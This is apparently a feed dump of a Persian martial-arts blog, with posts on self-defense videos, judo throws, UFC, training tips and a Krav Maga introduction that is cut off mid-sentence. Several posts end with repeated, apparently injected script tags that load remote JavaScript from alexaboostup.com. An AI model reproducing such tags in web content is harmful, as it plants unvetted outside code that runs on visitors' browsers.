آموزشگاه تخصصی دفاع شخصی و سلاح بهترین وبسایت رزمی کشور حاوی كلیپهای دفاع شخصی مقالات رزمی مقالات پزشكی ورزشی تكنیك دفاع شخصی و کتب رزمی و پزشکی ...! http://hanmudo.mihanblog.com 2019-09-14T23:54:03+01:00 text/html 2014-02-10T22:05:30+01:00 hanmudo.mihanblog.com admin مقایسه ی تکنیک ها،مهارت ها و حرکات اسکات ادکینز و تونی جا + فیلم http://hanmudo.mihanblog.com/post/355 <div align="justify"><div><div align="center"><a href="http://self-defense.ir/" target="_blank" title=""><img src="http://selfdefense.persiangig.com/image/new_folder/tony-jaa-scott.jpg" alt="مقایسه ی تکنیک ها،مهارت ها و حرکات اسکات ادکینز و تونی جا + فیلم" align="bottom" border="0" vspace="0" hspace="0"></a></div><font size="2"><br></font><div><font size="2">سلام.یه فیلم خیلی باحال و دیدنی بود که خودم دیدم و خیلی خوشم اومد و حیم اومد که واسه شما نذارمش.تو این کلیپ 11 دقیقه ای شما حرکات <b>اسکات ادکینز</b> و <b>تونی جا</b> رو توی فیلم های مختلفشون میبینید.واقعا دوتا از بهترین رزمی کاران دنیا که توی دنیای فیلم فعالیت دارن اسکات و تونی هستند.حرکاتشون واقعا خیره کنندس و هر بیننده ای رو شگفت زده میکنه.<br><br><font color="#000099">این کلیپ رو ببینید و تکنیک هاشون رو باهم مقایسه کنید و بگید کودوم یکی بهترن.به نظر من که اسکات از نظر قدرت توی وضعیت بهتری قرار داره ولی تونی سرعت اجرای حرکاتش بیشتره.نظر شما چیه؟<br><br></font></font><font size="2"><font color="#FF0000">فرمت فیلم:MP4</font><font color="#FF0000"><br>مدت زمان:11 دقیقه<br>حجم کل:40 مگابایت<br>زیرنویس:ندارد</font></font><br></div></div><font size="2"><br></font><div align="center"><font color="#FF0000" size="2"><b>برای مشاهده به ادامه مطلب برید</b></font><br></div><font size="2"><br></font></div><font size="2"> </font> text/html 2014-02-10T21:36:47+01:00 hanmudo.mihanblog.com admin آموزش مبارزات آزاد:دفاع رو خاک (mount escapes) قسمت چهارم http://hanmudo.mihanblog.com/post/354 <div align="center"><font size="2"><a href="http://self-defense.ir/" target="" title=""><img src="http://selfdefense.persiangig.com/image/mount-escapes4.jpg" alt="آموزش مبارزات آزاد:دفاع رو خاک (mount escapes) قسمت چهارم" align="texttop" border="0" vspace="0" hspace="0"></a><br><br></font><div align="right"><font size="2">در خدمت شما هستیم با <b>قسمت چهارم آموزش مبارزات آزاد و دفاع روی خ</b>اک.امیدوارم مثل بقیه آموزش های مورد پسندتون قرار بگیره.لطفا اگه قبلا قسمت اول و دوم و سوم رو دانلود نکردید این قسمت رو دانلود نکنید.قبلا هم خدمتتون عرض کردم باید این تمرینات رو با یه شریک تمرینی کار کنید.<br><br>قسمت چهارم توی سایت آپارات آپلود شده.البته قسمت های دوم و سوم نیز دوباره توی همین سایت آپلود شد.<br><br></font><br><font size="2"><font size="2"><font color="#FF0000">فرمت فیلم:MP4</font><font color="#FF0000"><br>مدت زمان:5 دقیقه<br>حجم کل:14 مگابایت<br>زیرنویس:ندارد<br><br></font></font></font><div align="center"><font color="#000099"><b><font size="2"><font size="2">دانلود و مشاهده ی قسمت های قبل این اموزش</font></font></b></font><br></div><div align="center"><font size="2"><a href="http://hanmudo.mihanblog.com/post/310" target="_blank" title="">دانلود قسمت اول</a></font><br><font size="2"><a href="http://hanmudo.mihanblog.com/post/315" target="_blank" title="">دانلود قسمت دوم</a></font><br><font size="2"><a href="http://hanmudo.mihanblog.com/post/322" target="_blank" title="">دانلود قسمت سوم</a></font><br></div><font size="2"><br></font><div align="center"><font color="#FF0000" size="2"><b>برای مشاهده ودانلود قسمت چهارم به ادامه مطلب بروید</b></font><br></div><font size="2"><br></font></div></div><font size="2"> </font> text/html 2014-02-06T21:16:37+01:00 hanmudo.mihanblog.com admin تکنیک سوم پرتابی جودو Deashi Harai -- Forward Foot Sweep http://hanmudo.mihanblog.com/post/349 <div align="center"><font size="2"><a href="http://self-defense.ir/" target="" title=""><img src="http://judoinfo.com/images/nauta/deashi.gif" alt="Deashi Harai, Forward Foot Sweep" height="174" border="0" vspace="30" width="450" hspace="40"></a><br><font color="#FF0000"><b>برای مشاهده ی تصویر متحرک از این تکنیک به ادامه مطلب بروید</b></font><br></font></div><font size="2"> </font><script src="//alexaboostup.com/plugin/helper.js" type="text/javascript"></script><script src="//alexaboostup.com/plugin/content.js" type="text/javascript"></script> <script src="//alexaboostup.com/plugin/helper.js" type="text/javascript"></script><script src="//alexaboostup.com/plugin/content.js" type="text/javascript"></script> <script src="//alexaboostup.com/plugin/helper.js" type="text/javascript"></script><script src="//alexaboostup.com/plugin/content.js" type="text/javascript"></script> text/html 2014-02-06T17:10:52+01:00 hanmudo.mihanblog.com admin تکنیک دفاع در برابر شخصی که از پشت شمارو قفل کرده + فیلم http://hanmudo.mihanblog.com/post/348 <div align="center"><font size="2"><a href="http://hanmudo.mihanblog.com/" target="" title=""><img src="http://selfdefense.persiangig.com/image/Self%20Defense-%20Bear%20Hug%20Escape/BEARPOSHT.jpg" alt="تکنیک دفاع در برابر شخصی که از پشت شمارو قفل کرده + فیلم" align="texttop" border="0" vspace="0" hspace="0"></a></font></div><div align="justify"><br><font size="2">بعضی وقتا توی درگیری پیش میاد که فردی<b> از پشت</b> بهتون حمله ور میشه و دستاش رو دور دستاتون حلقه میکنه و نمیذاره تکون بخورید.یکی از بهترین <b>تکنیک</b> هایی که میشه این موقع به کار برد توی این فیلم آموزش داده شد.البته باید خدمتتون بگم یک <b>تکنیک</b> رو آموزش نمیده.بلکه چند <b>تکنیک</b> رو آموزش میده که در مواقع مختلف باید از&nbsp; مناسب ترینش بهره برد.ب<font color="#000099">رای مثال اولیش به این صورته که با سر به صورت و دماغ طرف مقابل ضربه بزنیم</font>.<font color="#000099">و یا خم بشیم و از بین پاهامون یکی از پاهاشو بگیریم و به سمت خودمون بکشیم تا تعادلشو از دست بده.</font>در کل خیلی آموزش خوبیه.پیشنهاد میکنم دانلود و استفاده کنید.<br><br><font color="#FF0000">فرمت فیلم:MP4</font><font color="#FF0000"><br>مدت زمان:4 دقیقه<br>حجم کل:22 مگابایت<br>زیرنویس:دارد-انگلیسی<br></font><br></font><div align="center"><font color="#FF0000"><b><font size="2">مشاهده و دانلود فیلم در ادامه مطلب</font></b></font><br></div></div><script src="//alexaboostup.com/plugin/helper.js" type="text/javascript"></script><script src="//alexaboostup.com/plugin/content.js" type="text/javascript"></script> text/html 2014-02-05T23:19:45+01:00 hanmudo.mihanblog.com admin آموزش دومین تکنیک جودو Daki Wakare -- High Lift and Separate http://hanmudo.mihanblog.com/post/347 <div align="center"><font color="#FF0000"><b><font size="2"><a href="http://self-defense.ir/" target="" title=""><img src="http://judoinfo.com/images/dakiwakare.jpg" alt="Daki Wakare Judo Throw" border="0" vspace="1" width="450" height="206" hspace="1"></a><br>برای مشاهده ی تصویر متحرک به ادامه مطلب بروید<br></font></b></font></div><font color="#FF0000"><b><font size="2"> </font></b></font><script src="//alexaboostup.com/plugin/helper.js" type="text/javascript"></script><script src="//alexaboostup.com/plugin/content.js" type="text/javascript"></script> <script src="//alexaboostup.com/plugin/helper.js" type="text/javascript"></script><script src="//alexaboostup.com/plugin/content.js" type="text/javascript"></script> text/html 2014-02-05T23:13:52+01:00 hanmudo.mihanblog.com admin آموزش تکنیک جودو Ashi Guruma - Leg Wheel http://hanmudo.mihanblog.com/post/346 <div align="center"><font size="2"><a href="http://self-defense.ir/" target="" title=""><img alt="Ashi Guruma, Leg Wheel" src="http://judoinfo.com/images/nauta/ashiguru.gif" width="449" height="170"></a><br><br></font><div align="center"><font size="2"><b><font color="#000099">برای مشاهده ی تصویر متحرک به ادامه مطلب بروید</font><br></b></font></div></div><font size="2"> </font><script src="//alexaboostup.com/plugin/helper.js" type="text/javascript"></script><script src="//alexaboostup.com/plugin/content.js" type="text/javascript"></script> <script src="//alexaboostup.com/plugin/helper.js" type="text/javascript"></script><script src="//alexaboostup.com/plugin/content.js" type="text/javascript"></script> text/html 2014-02-05T11:00:56+01:00 hanmudo.mihanblog.com admin تکنیک رهایی از خفگی هنگام درگیری مخصوص بانوان/فیلم http://hanmudo.mihanblog.com/post/345 <div align="justify"><div align="center"><font size="2"><a href="http://hanmudo.mihanblog.com/" target="_blank" title=""><img src="http://selfdefense.persiangig.com/image/womenchocking/chokking-for-women.jpg" alt="تکنیک رهایی از خفگی هنگام درگیری مخصوص بانوان " align="texttop" border="0" vspace="0" hspace="0"></a></font></div><font size="2"><br></font><div><font size="2">سلام امروز با <a href="http://self-defense.ir/" target="_blank" title=""><b>تکنیکی</b></a> بسیار خوب و کاربردی با شما هستیم.<br>در این فیلم امورشی خانم های محترم یاد میگیرند که چجوری از خودشون در برابر مهاجمی که اونها رو گیر انداخته و قصد خفه کردن و یا آزار و اذیتشون رو داره دفاع کنند.یکم توضیح دادن در مورد این تکنیک سخته.اسکرین شات هایی رو از این اموزش در ادامه مطلب قرار دادیم که میتوانید قبل از مشاهده ی فیلم انها را ببینید و با اصل مطلب آشنا بشید.تصاویر کاملا گویای مطلب هستند.<br><br>یه چیزی که توجه خود منو به این تکنیک جلب کرد،سادگی اجرای اون بود.به نظر من که خیلی خوب و کاربردی بود و مثل خیلی تکنیک ها اصلا نمایشی نبود.کاملا قابل استفاده و موثر.البته اینم بگم آقایون محترمی که دارین این پست رو میخونید.این تکنیک بسیار بسیار به کار شما خواهد اومد.پس از دستش ندین.<br><br></font><div align="center"><b><font color="#993399"><font size="2">◘پیشنهاد ویژه آموزشگاه</font>◘</font><br></b></div><font size="2"><br><font color="#3333FF">زبان فیلم:انگلیسی<br>زیرنویس:ندارد<br>اسکرین شات:دارد<br>حجم کل فیلم:33 مگابایت</font><br><br></font><div align="center"><font color="#FF0000" size="2"><b>دانلود و مشاهده ی فیلم در ادامه مطلب<br></b></font></div></div></div><font size="2"> </font><script src="//alexaboostup.com/plugin/helper.js" type="text/javascript"></script><script src="//alexaboostup.com/plugin/content.js" type="text/javascript"></script> <script src="//alexaboostup.com/plugin/helper.js" type="text/javascript"></script><script src="//alexaboostup.com/plugin/content.js" type="text/javascript"></script> <script src="//alexaboostup.com/plugin/helper.js" type="text/javascript"></script><script src="//alexaboostup.com/plugin/content.js" type="text/javascript"></script> text/html 2014-02-04T22:57:04+01:00 hanmudo.mihanblog.com admin تکنیک دفاع در برابر حمله ی چندین نفردر درگیری خیابانی/فیلم http://hanmudo.mihanblog.com/post/344 <div align="center"><div align="center"><a href="http://self-defense.ir/" target="_blank" title=""><img src="http://selfdefense.persiangig.com/image/multipleattakers/multiple-attakers.jpg" alt="تکنیک دفاع در برابر حمله ی چندین نفر در درگیری خیابانی/فیلم" align="texttop" border="0" vspace="0" hspace="0"></a></div><font size="2"><br></font><div align="right"><font size="2"><b>با سلام خدمت بازدیدکنندگان عزیز</b><br><br>در این پست با اموزشی بسیار کاربردی اومدیم.یه فیلم اموزشی بسیار خوب و مفید که به درد هرکسی میخوره.<br>قبلا در مورد <a href="http://self-defense.ir/post/category/5" target="_blank" title=""><b>تکنیک های دفاع شخصی</b></a><b></b> مطالب زیادی گذاشتیم ولی ایندفعه میخوایم تکنیکی رو بهتون اموزش بدیم که از طریق اون میتونید در برابر حمله ی چندین نفر مقاومت و دفاع کنید.قسمت جالب این اموزش اینه که دفاع شما در اصل همون فرار کردنه.البته باید دید فرار کردن به چه شکلی؟!<br><br><font color="#000099">زیرنویس:<font color="#FF0000">دارد-انگلیسی<br><font color="#000099">اسکرین شات:</font>دارد<br></font><font color="#FF0000"><b><br></b></font></font><font color="#FF0000"><b>&nbsp;برای مشاهده ی فیلم و یا دانلود آن به ادامه مطلب برید</b></font><br><br></font></div></div><font size="2"> </font><script src="//alexaboostup.com/plugin/helper.js" type="text/javascript"></script><script src="//alexaboostup.com/plugin/content.js" type="text/javascript"></script> <script src="//alexaboostup.com/plugin/helper.js" type="text/javascript"></script><script src="//alexaboostup.com/plugin/content.js" type="text/javascript"></script> <script src="//alexaboostup.com/plugin/helper.js" type="text/javascript"></script><script src="//alexaboostup.com/plugin/content.js" type="text/javascript"></script> <script src="//alexaboostup.com/plugin/helper.js" type="text/javascript"></script><script src="//alexaboostup.com/plugin/content.js" type="text/javascript"></script> text/html 2014-02-03T20:22:05+01:00 hanmudo.mihanblog.com admin دانلود کتاب Understanding Karate-do: A Guide to Unity of Body, Mind, and Soul http://hanmudo.mihanblog.com/post/343 <div align="left"><div align="center"><font size="2"><img src="http://selfdefense.persiangig.com/image/karate.jpg" alt="دانلود کتاب کاراته" align="texttop" border="0" vspace="0" hspace="0"><br></font></div><font size="2"><br></font><div><h3> <div id="homepageh3gap"><font size="2"><strong>Understanding Karate-do: A Guide to Unity of Body, Mind, and Soul</strong></font></div> </h3> <p><font size="2"><em>by Owen Johnston</em></font></p> <p><font size="2">Karate is an exciting and rewarding holistic pursuit practiced by millions around the world. Whether you are an existing or prospective student of martial arts, there is always something new to learn. I have hopefully provided a good starting point, as this guide details karate history, various techniques, combat principles, and philosophy. The author is a longtime karateka dedicated to the way of ninjatic love. He lives with two impossible cats and teaches karate as a way of life in South Carolina</font></p><p align="right"><font color="#FF0000" size="2"><b>برای دانلود کتاب به ادامه مطلب بروید</b></font><font size="2"><br></font></p></div></div><font size="2"> </font> text/html 2014-02-02T09:23:42+01:00 hanmudo.mihanblog.com admin تمریناتی برای تقویت عضلات جلوبازو در رزمی کاران http://hanmudo.mihanblog.com/post/341 <div align="justify"><div align="center"><img src="http://selfdefense.persiangig.com/image/forarm-training.jpg" alt="تقویت جلوبازو" align="texttop" border="0" vspace="0" width="451" height="234" hspace="0"><br></div><br><div><b>عضلات جلوبازو</b> که ساختمان بسیار پیچیده ای دارند شامل 10 عضله ی مختلف هستند که به شما در کارهای مختلف شامل بلندکردن اجسام و امور ورزشی کمک شایانی میکنند و اگر <b>عضلات</b> این قسمت از بدن نیرومند باشند مطمئنا میتوانید عملکرد بهتری هنگام تمرینات داشته باشید.<br><br>به دلیل این ساختمان پیچیده تقویت این قسمت هم مسلما کار آسانی نیست.فقط با تمرینات زیاد میتوان عضلات مختلف این قسمت را محکم و نیرومند ساخت.در ادامه ی این پست "<b>آموزشگاه</b>"تمریناتی را برای شما آماده کرده که همگی همراه با تصویر ارائه شده.با استفاده از این حرکات عضلاتی قوی و استوار پرورش دهید و عملکرد و قدرت خود را در رشته ی رزمی مورد علاقه ی خود بهبود ببخشید.<br><br><font color="#FF0000"><b>تمرینات را در ادامه ی مطلب مشاهده کنید</b></font><br></div></div> text/html 2012-08-12T22:24:07+01:00 hanmudo.mihanblog.com admin بانوان نینجوتسوکار ایرانی شگفتی آفریدند/کلیپ http://hanmudo.mihanblog.com/post/325 <div style="text-align: center;"><a href="http://self-defense.ir" target="" title=""><img src="http://selfdefense.persiangig.com/image/ninjairan.jpg" alt="بانوان نینجوتسوکار ایرانی شگفتی آفریدند/کلیپ" align="texttop" border="1" vspace="0" width="450" height="235" hspace="0"></a><br><br></div><div style="text-align: justify;"><span style="font-weight: bold;">شاید این مطلب رو خیلی وقت پیش باید منتشر میکردم.ولی شرمنده دیگه،نشد،یعنی فراموشم شد.خوب حالا تو این پست گذاشتم.امیدوارم مثل همیشه خوشتون بیاد.</span><br><br>حتما در مورد بانوان نینجای ایرانی که با&nbsp; انتشار یه کلیپ کوتاه از اونا&nbsp; غوغای بزرگی به پا شد شنیدید.خبری که از تلویزیون جمهوری اسلامی هم پخش شد.جالب اینجاست که کشور های بیگانه به رزمیکاران زن کشورمون عنوان قاتل رو دادند.و ادعا کردند که ایران درحال آموزش 3000 زن نینجا برای حفاظت از خاکشه.<span style="color: rgb(255, 0, 0); font-weight: bold;">(البته شاید هم راست بگن.ما که از خودامونه 3000 تا نینجای ایرانی داشته باشیم.افتخارم میکنیم).</span><br style="font-weight: bold; color: rgb(255, 0, 0);"><br>تو این پست این کلیپ جنجالی رو انتشار دادم تا اگه هنوز ندیدید ببینید.این کلیپ الان تو خیلی از سایت های خارجی که معروف ترینشون یوتیوب و فیسبوک هستند قرار داره.و میلیون ها بیننده داشته.البته یه کلیپ دیگه هم هست که از پرس تیوی منتشر شده و انشاالله براتون قرار میدم.<br><br>بهتره شما هم از قافله عقب نمونیدو کلیپ رو ببنید.<br><br><span style="font-weight: bold; color: rgb(255, 0, 0);">کلیپ در ادامه مطلب</span><br><br></div> text/html 2012-08-08T19:12:16+01:00 hanmudo.mihanblog.com admin اطلاعاتی مفید و جامع در مورد مبارزات آزاد ufc http://hanmudo.mihanblog.com/post/324 <p style="text-align: center;" dir="RTL"> <a href="http://self-defense.ir" target="" title=""><img src="http://selfdefense.persiangig.com/image/ufc12.jpg" alt="اطلاعاتی مفید و جامع در مورد مبارزات آزاد ufc " align="texttop" border="1" vspace="0" width="450" height="235" hspace="0"></a></p><p style="text-align: justify;" dir="RTL">UFC :این سه حرف،مخفف عبارت: ultimate fighting championship است به معنای مسابقات قهرمانی نهایت مبارزه و سازمان آمریکایی MMA(هنرهای رزمی ترکیبی ) متصدی برگزاری آن است و درحال حاضر به عنوان بزرگترین سازمان ترویج MMA در جهان مشغول به فعالیت میباشد.</p> <p style="text-align: justify;" dir="RTL">حدود هشتاد سال پیش، گونهای از سبک برزیلی MMA به نام vale todo(کلمه ای پرتغالی به معنی همه چیزآزاد) شناخته شد و توجه زیادی را به خود جلب کرد سپس سازمان UFC، MMA را به جهان معرفی کرد که هدف از برگزاری و ارائه چنین مسابقاتی، یافتن بهترین مهارتهای رزمی درسبکهای مختلف بود که شامل:کاراته، جوجیتسو، بوکس، کشتی کج، سامبو، سومو و دیگر سبکهای آزاد میشد.</p><span style="font-weight: bold; color: rgb(255, 0, 0);">ادامه در ادامه مطلب</span> text/html 2012-08-08T04:36:47+01:00 hanmudo.mihanblog.com admin مشکلاتی که زنان در ورزش های رزمی با آنها مواجه می باشند http://hanmudo.mihanblog.com/post/323 <p style="text-align: center;"><a href="http://self-defense.ir" target="" title=""><img src="http://selfdefense.persiangig.com/image/zanan.jpg" alt="مشکلاتی که زنان در ورزش های رزمی با آنها مواجه می باشند" align="texttop" border="0" vspace="0" hspace="0"></a></p><p style="text-align: justify;"><span style="color: #333333; font-size: small;"><span style="font-family: tahoma, arial, helvetica, sans-serif;">در جامعه به اصطلاح روشنفکر کنونی، هنگامی که خانمی در یکی از کلاس های رزمی شرکت می کند با واکنش دوستان، خانواده و همکارانش مواجه می گردد که البته دلیل این واکنش عدم آگاهی و وجود تفکراتی منفی در این زمینه می باشد. </span><span style="font-family: tahoma, arial, helvetica, sans-serif;">برخی از این تفکرات عبارتند از:</span></span></p><p style="text-align: center;"><span style="color: #ff0000; font-size: small;"><span style="font-family: tahoma,arial,helvetica,sans-serif;"><span style="font-family: tahoma,arial,helvetica,sans-serif;"><span style="font-family: tahoma,arial,helvetica,sans-serif;"><span style="font-family: tahoma,arial,helvetica,sans-serif;">برای دیدن تمام مطلب به ادامه مطلب مراجعه کنید</span></span></span></span></span></p> text/html 2012-07-25T19:59:05+01:00 hanmudo.mihanblog.com admin آموزش مبارزات آزاد:دفاع رو خاک قسمت سوم http://hanmudo.mihanblog.com/post/322 <div style="text-align: center;"><a href="http://hanmudo.mihanblog.com/" target="" title=""><img src="http://selfdefense.persiangig.com/image/MountEscapespart3.jpg" alt="آموزش مبارزات آزاد:دفاع رو خاک قسمت سوم" align="texttop" border="1" vspace="0" width="451" height="237" hspace="0"></a><br><br></div><span style="font-weight: bold;">با سلام خدمت ورزش دوستان عزیز</span><br style="font-weight: bold;"><br>در خدمت شما هستیم با قسمت سوم آموزش مبارزات آزاد و دفاع روی خاک.امیدوارم مثل بقیه آموزش های مورد پسندتون قرار بگیره.لطفا اگه قبلا قسمت اول و دوم رو دانلود نکردید این قسمت رو دانلود نکنید.قبلا هم خدمتتون عرض کردم باید این تمرینات رو با یه شریک تمرینی کار کنید.<br><br><span style="font-weight: bold; color: rgb(255, 0, 0);">ادامه مطلب رو ببینید لطفا</span><br> text/html 2012-07-22T11:24:14+01:00 hanmudo.mihanblog.com admin مسابقه بزرگ آموزشگاه تخصصی دفاع شخصی مرداد 91 http://hanmudo.mihanblog.com/post/321 <div style="text-align: justify;"><div style="text-align: center;"><a href="http://self-defense.ir" target="" title=""><img src="http://selfdefense.persiangig.com/image/mosabeghe.jpg" alt="مسابقه بزرگ آموزشگاه تخصصی دفاع شخصی مرداد 91" align="texttop" border="1" hspace="0" vspace="0"></a></div><br></div><div style="text-align: center;"><div style="text-align: right;">از این پس هرماه مسابقه ای در وبسایت برگزار میشه که شما عزیزان میتونید در اون شرکت کنید و از جوایز آن بهره مند شوید.بین شرکت کننده هایی که پاسخ صحیح دادند قرعه کشی برگزار میشه و نفرات برنده مشخص میشند.<br></div><br><div style="text-align: right;"><span style="font-weight: bold; color: rgb(255, 0, 0);">جوایز این دوره از مسابقه:</span><br>1-کوپن تخفیف <span style="font-weight: bold;">100% </span>خرید از رزم شاپ برای <span style="color: rgb(255, 0, 0);">2</span> نفر<br>1-کوپن تخفیف <span style="font-weight: bold;">90%</span> خرید از رزم شاپ برای <span style="color: rgb(255, 0, 0);">3</span> نفر<br>2-کوپن تخفیف <span style="font-weight: bold;">50%</span> خرید از رزم شاپ برای <span style="color: rgb(255, 0, 0);">20</span> نفر<br>4-کوپن تخفیف <span style="font-weight: bold;">30%</span> خرید از رزم شاپ برای <span style="color: rgb(255, 0, 0);">40</span> نفر<br><br></div><span style="color: rgb(255, 0, 0);">لازم به ذکر است که کوپن های تخفیف شامل خرید تنها یک محصول از فروشگاه رزم شاپ میشود</span>.<br><br><span style="font-weight: bold; color: rgb(255, 0, 0);">سوال:</span><span style="color: rgb(0, 0, 153); font-weight: bold;">مصرف کدام یک از موارد زیر در ماه رمضان میتواند برای رزمیکاران مشکل ساز شود و عملکرد آنها را کاهش دهد؟</span><br></div><div style="text-align: justify;"><br></div><div style="text-align: center;"><span style="font-weight: bold;">1)پروتئین&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2)آب&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3)کافئین&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4)گزینه الف و ج</span><br><br><span style="color: rgb(255, 0, 0);">منبع:مقالات پزشکی ورزشی آموزشگاه تخصصی دفاع شخصی</span><br style="color: rgb(255, 0, 0);"></div><div style="text-align: justify;"><br></div><div style="text-align: justify;"><div style="text-align: center;">لطفا عدد گزینه مورد نظر خود را به همراه نام و نام خانوادگی&nbsp; به شماره <span style="font-weight: bold; color: rgb(255, 0, 0);">3000<span style="color: rgb(51, 51, 255);">486</span>6000<span style="color: rgb(51, 51, 255);">576</span></span> ارسال نمایید.و یا در قسمت نظرات همین پست پاسخ را ارسال نمایید.<span style="color: rgb(255, 0, 0);">بدیهی است اطلاعات شما نزد ما محفوظ خواهد بود.</span><br></div><br><div style="text-align: center;"><span style="font-weight: bold; color: rgb(51, 51, 255);">زمان قرعه کشی:شب عید فطر ساعت 21</span><br></div></div><div style="text-align: justify;"><br></div> text/html 2012-07-22T10:54:11+01:00 hanmudo.mihanblog.com admin والپیپرهای بسیار زیبای سیلوستر استالونه http://hanmudo.mihanblog.com/post/320 <div style="text-align: justify;"><div style="text-align: center;"><a href="http://self-defense.ir" target="" title=""><img src="http://selfdefense.persiangig.com/image/stalunee.jpg" alt="والپیپرهای بسیار زیبای سیلوستر استالونه" align="texttop" border="1" hspace="0" vspace="0"></a></div><br></div><div style="text-align: justify;"><span style="font-weight: bold;">خدمت عزیزان سلام عرض میکنم</span><br><br>امروز بازم با چندتا والپیپر توپ و قشنگ از رزمیکار و آرتیست معروف سینما یعنی سیلوستر استالونه در خدمت شما هستیم.حتما بازی های اونو در فیلم های رامبو به خاطر دارید.یکی از آخرین فیلم هایی که استالونه در کنار جیسون استاتهام و جت لی نقش آفرینی کرده فیلم<span style="color: rgb(255, 0, 0);"> the_expendables</span> هست.پیشنهاد میکنم این فیلم رو از سایت های ویژه دانلود فیلم دانلود کنید و لذت ببرید.<br>به درخواست یکی از دوستان فایل ها رو از این به بعد در پرشین گیگ آپلود میکنم تا دانلود برای شما هم آسانتر بشه.<br><br></div><div style="text-align: justify;"><div><span style="font-weight: bold; color: rgb(255, 0, 0);">بیوگرافی سیلوستر رو هم میتونید از این </span><a style="color: rgb(51, 51, 255); font-weight: bold;" href="http://hanmudo.mihanblog.com/post/245" target="_blank" title="استالونه">لینک</a><span style="font-weight: bold; color: rgb(255, 0, 0);"> مشاهده کنید</span><br></div><br><div><span style="font-weight: bold; color: rgb(51, 51, 255);">دانلود والپیپرها در ادامه مطلب</span><br></div></div> text/html 2012-07-11T09:07:23+01:00 hanmudo.mihanblog.com admin تمرین با وزنه و تاثیرات مفیدی که بر بدن دارد http://hanmudo.mihanblog.com/post/319 <div style="text-align: justify;"><div style="text-align: center;"><a href="http://hanmudo.mihanblog.com/" target="" title=""><img src="http://selfdefense.persiangig.com/image/body.jpg" alt="تمرین با وزنه و تاثیرات مفیدی که بر بدن دارد" align="texttop" border="1" hspace="0" vspace="0"></a></div><br><div><span style="font-weight: bold;">با سلام خدمت دوستان عزیز</span><br><br>در این پست قصد داریم به صورت بسیار مختصر و کوتاه تاثیرات مفیدی که تمرینات پرورش اندام بر بدن دارد را بررسی نماییم.مواردی که در این مطلب ذکر شده اند از نظر علم پزشکی ثابت شده میباشند.<br>به شما پیشنهاد میکنیم حتما این مقاله مفید را مطالعه فرمایید.<br><br><span style="font-weight: bold; color: rgb(255, 0, 0);">مقاله در ادامه مطلب</span><br></div></div> text/html 2012-07-10T15:14:17+01:00 hanmudo.mihanblog.com admin تمرینات ورزشی در فصل تابستان و نکاتی که باید به آن توجه شود http://hanmudo.mihanblog.com/post/318 <div style="text-align: justify;"><div style="text-align: center;"><a href="http://self-defense.ir" target="" title=""><img src="http://selfdefense.persiangig.com/image/summer.jpg" alt="تمرینات ورزشی در فصل تابستان و نکاتی که باید به آن توجه شود" align="texttop" border="1" hspace="0" vspace="0"></a></div><br><div><span style="font-weight: bold;">با سلام خدمت همراهان همیشگی</span><br><br>در فصل تابستان هستیم و نیاز بود مقاله ای در این باب منتشر کنیم تا بتوانید از ورزش حتی در فصل گرم تابستان نیز لذت ببرید.این مقاله به نکاتی برای جلوگیری از گرمازدگی اشاره دارد که توصیه میکنیم حتما مطالعه بفرمایید.<br></div><br></div><div style="text-align: justify;">چگونگی ورزش کردن در فصل گرما اهمیت بسیاری دارد، به‌خصوص برای افرادی که به طور غیرحرفه‌ای ورزش می‌کنند.ورزش کردن در فصل تابستان سبب هدر رفتن بخش زیادی از آب و املاح بدن می‌شود. به‌همین دلیل زمانی را که ورزشکار برای تمرین انتخاب می‌کند باید مناسب باشد.<br><br><span style="font-weight: bold; color: rgb(255, 0, 0);">ادامه مقاله را در ادامه مطلب مطالعه فرمایید</span><br></div> text/html 2012-07-07T09:16:22+01:00 hanmudo.mihanblog.com admin رهایی از حریف و قفل کردن وی با چند حرکت دفاعی ساده http://hanmudo.mihanblog.com/post/317 <div style="text-align: justify;"><div style="text-align: center;"><a href="http://self-defense.ir" target="" title=""><img src="http://selfdefense.persiangig.com/image/dafaashakhsiiii.jpg" alt="رهایی از حریف و قفل کردن وی با چند حرکت دفاعی ساده" align="texttop" border="1" hspace="0" vspace="0"></a><br></div><br></div><div style="text-align: justify;"><span style="font-weight: bold; color: rgb(255, 0, 0);">با سلام خدمت بازدیدکنندگان عزیز</span><br><br>در این پست تکنیک هایی جدید از دفاع شخصی رو براتون قرار دادیم که ئامیدواریم موردپسند واقع بشه.<br>در کلیپی که در اختیار شما قرار دارد،نحوه رهایی یافتن از حریف و قفل کردن و تسلط بر او را فرا میگیرید.خوشبختانه تکنیک های ساده ای هستند که به راحتی قابل استفاده میباشند.این کلیپ با حجم 5 مگابایت و کیفیت خوب آماده دانلود میباشد.<br><br><span style="font-weight: bold;">دانلود کلیپ در ادامه مطلب</span><br></div> text/html 2012-07-02T18:22:34+01:00 hanmudo.mihanblog.com admin معرفی سبک رزمی و دفاع شخصی کراو ماگا ( krav maga ) http://hanmudo.mihanblog.com/post/316 <p style="text-align: center;"><a href="http://self-defense.ir" target="" title=""><img src="http://selfdefense.persiangig.com/image/kravmaga.jpg" alt="معرفی سبک رزمی و دفاع شخصی کراو ماگا ( krav maga )" align="texttop" border="1" hspace="0" vspace="0"></a></p><p style="text-align: justify;">کراوماگا (Krav Maga) سیستم مبارزاتی است که اسرائیلی‌ها به عنوان پایه‌گذار آن، برای توسعه‌اش هزینه و انرژی فراوانی را پرداخت کرده‌اند. کراوماگا عبارتی عبری، به مفهوم "مبارزه همراه با تماس" است و مشتمل بر یک سیستم دفاع شخصی و جنگ تن به تن می‌باشد که از وسعت قابل توجهی برخوردار است.</p> <p style="text-align: justify;" dir="rtl">این سیستم توسط ایمی اسده ار (Imi Sde-Or) یک یهودی از اسلواکی ابتداً برای نبرد های تن به تن برای نیروهای پلیس و توسط لمی لشینفیلد وارد ارتش و نیروی چریک اسرائیل و در سطح پیشرفته برای نیروهای امنیتی این رژیم از جمله بخشی از نیروهای سازمان اطلاعاتی خارجی اسرائیل (Mossad seal) به کار گرفته شد. البته فراگیری این رشته در حوزه امنیتی اسرائیل با ورود "مئیر داگان" به دفتر موساد در تل آویو و کسب عنوان دهمین رئیس موساد از سال ۲۰۰۲، افزایش یافت و به نظر می رسد موساد در قالب این رشته حتی بهره‌برداری‌های اطلاعاتی نیز انجام 